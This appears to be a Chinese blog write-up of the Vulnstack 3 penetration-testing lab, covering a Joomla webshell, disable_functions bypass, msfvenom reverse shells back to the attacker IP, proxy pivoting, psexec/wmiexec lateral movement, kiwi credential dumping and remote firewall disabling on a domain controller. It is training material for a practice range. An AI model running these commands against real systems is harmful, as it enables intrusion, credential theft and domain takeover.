Vulnstack内网靶场3
Vulnstack内网靶场3 (qiyuanxuetang.net)
环境配置
打开虚拟机镜像为挂起状态,第一时间进行快照,部分服务未做自启,重启后无法自动运行。
挂起状态,账号已默认登陆,centos为出网机,第一次运行,需重新获取桥接模式网卡ip。
除重新获取ip,不建议进行任何虚拟机操作。
添加一个网络,配置如下,该网络为内部网络
目标:域控中存在一份重要文件。
本次环境为黑盒测试,不提供虚拟机账号密码。
kali 攻击机ip 192.168.1.64
外网主机信息收集
nmap -sV -A -O 192.168.1.110
22、80、3306,先看看80端口
wappalyzer插件看到CMS是Joomla,之前我接触过这个CMS,直接利用joomscan开扫
joomscan -u 192.168.1.110
版本号3.9.12,搜了一下这个版本的漏洞,暂时只看到了XSS, 后台登陆界面,还有一个看样子像是信息泄露
打开信息泄露的界面,这里泄露出了mysqli的账号密码
testuser:cvcvgjASD!@
getwebshell
登陆mysql
mysql -h 192.168.1.110 -u testuser -p
joomla数据库
注意到一些叫user的表
最终在user表中找到了账号密码,但是密码是加密的
试了一下john,也扫不出来
无奈之下查了一下,发现原来官方有自带忘记密码后如何登陆后台的解决方法如何恢复或重置管理员密码? - Joomla! Documentation
INSERT INTO `am2zu_users`(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`) VALUES ('Administrator2', 'admin2','d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `am2zu_user_usergroup_map` (`user_id`,`group_id`) VALUES (LAST_INSERT_ID(),'8');
上面的例子更改密码为“secret”
进入到刚刚扫到的后台界面,登陆
进入后台之后 接下来的操作就是编辑界面写入后门,然后getshell
之前我在DC3靶机上做过joomla的渗透很快找到了后台编辑页面
创建了一个php文件,写入木马(注意php文件的路径为http://192.168.1.110/templates/beez3/shell.php)
我首先试了一下用msf的木马,但是发现不能连接,然后我再试了一下weevely的木马才能连接的上
weevely generate test test.php //生成木马,连接密码为test
weevely http://192.168.1.110/templates/beez3/shell.php test \\连接木马文件
有点好奇为什么msf不能连接,因为我之前的靶机试过是可以的,网上查了一下,好像是因为设置了disable_functions,被禁用了一些危险的函数
然而虽然weevely连上了,但是很多命令都不能用,所以基本没有用,还得寻找一些绕过disable_functions的方法,查看了一下版本号
找到了一个php脚本可以直接绕过执行系统命令github.com
上传上去
然后发送如下POST请求:
POST: cmd=<command>// <command>为你要执行的系统命令
但是也只是能执行系统命令,后来看到蚁剑有一个插件可以直接绕过disable_function,就去kali装了蚁剑试试看
windows,linux 蚁剑下载与安装 与 手动安装插件disable_functions_Sk1y的博客-CSDN博客
可以看到连接了蚁剑之后也是不能执行系统命令
加载插件后,直接可以执行命令,真强
蚁剑上传一个msf的linux后门,反弹到msf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.64 LPORT=4444 -f elf > shell.elf
msf监听,这里直接获取到了root权限
但是我用蚁剑查看网络,发现明明是同一个shell,为什么两边的网络配置却不一样
系统也不一样,有点奇怪
查了一下应该是nigx反向代理,将处于内网的Ubuntu(192.168.93.120)代理到了CentOS(192.168.1.110)上。这就解释了为什么我上传后门,却返回了完全不同的shell,这个msf返回的shell才是真正对外的主机
内网渗透
前面获取了内网的网段192.168.93.0/24
接下来添加路由将msf带进内网
通过background
回到msf
,使用route
增加对应路由,4是sessions值
route add 192.168.93.0 255.255.255.0 4
查看是否设置成功
这样msf就能扫描到内网的主机了
或者使用ew代理和proxychains4将整个kali带入内网
首先将EW上传
在攻击机运行
./ew_for_linux64 -s rcsocks -l 1080 -e 4444
这条命令的意思是在公网VPS上添加一个转接隧道,把1080端口收到的代理请求转发给4444端口
然后在web主机运行
ew_for_Win.exe -s rssocks -d 192.168.200.6 -e 4444
这条命令的意思是在本机服务器上启动SOCKS5服务,然后反弹到192.168.200.6攻击机的4444端口
运行完后会显示连接OK,现在就可以通过访问攻击机的1080端口,使用win7的服务器上SOCKS5代理服务
接下来使用proxychains添加代理(KALI中自带)
输入打开proxychains进行编辑
vi /etc/proxychains4.conf
首先将dynamic_chain前面的注释符#删除
然后在底部改成内容 socks5 127.0.0.1 1080
保存并退出,现在kali可以访问内网了
setg Proxies socks5:127.0.0.1:1080
,把msf代理进内网
使用msf扫描内网主机和端口
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.0/24
set threads 100
run
还扫到了三个主机分别为10、20、30
或者可以使用smb扫描
use auxiliary/scanner/smb/smb_version set rhosts 192.168.93.1/24 run
这种方式可以直接获取主机名和域名
既然开放了445端口,尝试一下永恒之蓝攻击,但是都失败了
那我能想到的只剩下最后一种方法,爆破密码了
使用 use auxiliary/scanner/smb/smb_login
但是基本上能用的字典都用了,没有跑出来
到了这里我已经没有头绪了,查看wp发现居然是要用之前的mysql的密码来远程登陆192.168.93.20:1433 mssql的数据库,实在没想到。。并且后面根据mssql低权限获取ntlmv2 hash的操作目前我也不了解,解法还有很多
Vlunstack ATT&CK实战系列——红队实战(三)Writeup - 先知社区 (aliyun.com)
ATT&CK实战系列-红队评估 (三)Vulnstack靶场内网域渗透 (qq.com)
还是用别人的字典跑出来了administrator的密码是123qwe!ASD
impacket工具包
获得了密码,使用psexec从linux向windows进行横向移动
proxychains psexec.py 'administrator:123qwe!ASD@192.168.93.30'
获取到了win2008和win7的权限,域控的权限暂时没有获取到,但是这个shell很快就会没
使用wmiexec的shell比较稳定Psexec和wmiexec的原理和区别 - 我要变超人 - 博客园 (cnblogs.com)
proxychains wmiexec.py 'administrator:123qwe!ASD@192.168.93.20'
使用smbclient通过代理连接windows server 2008 上传一个正向后门
msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o shell.exe
proxychains smbclient //192.168.93.20/C$ -U administrator
接着在刚刚获取的权限上运行后门
msf监听获取shell
getsystem load kiwi creds_all
抓取到了域管理员的密码,接下来就可以进行ipc连接攻击域控了
获取域控
输入shell进入终端,连接域控上传木马创建定时任务
net use \\192.168.93.10\ipc$ "zxcASDqw123!!" /user:administrator copy c:\shell.exe \\192.168.93.10\c$ schtasks /create /s 192.168.93.10 /tn test /sc once /st 10:05 /tr C:\shell.exe /ru system /f
创建失败,访问被拒
使用psexec模块也不行
use exploit/windows/smb/psexec set rhosts 192.168.93.10 set SMBDomain TEST set SMBUser administrator set SMBPass zxcASDqw123!! set payload windows/meterpreter/bind_tcp run
但是使用impacket工具包中的psexec可以
还看到一种方法,ipc连接后远程关闭域控的防火墙,然后在使用msf的psexec模块即可
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\192.168.93.10 start unablefirewall
机密文件
本文来自博客园,作者:1_Ry,转载请注明原文链接:https://www.cnblogs.com/1-Ry/p/15422249.html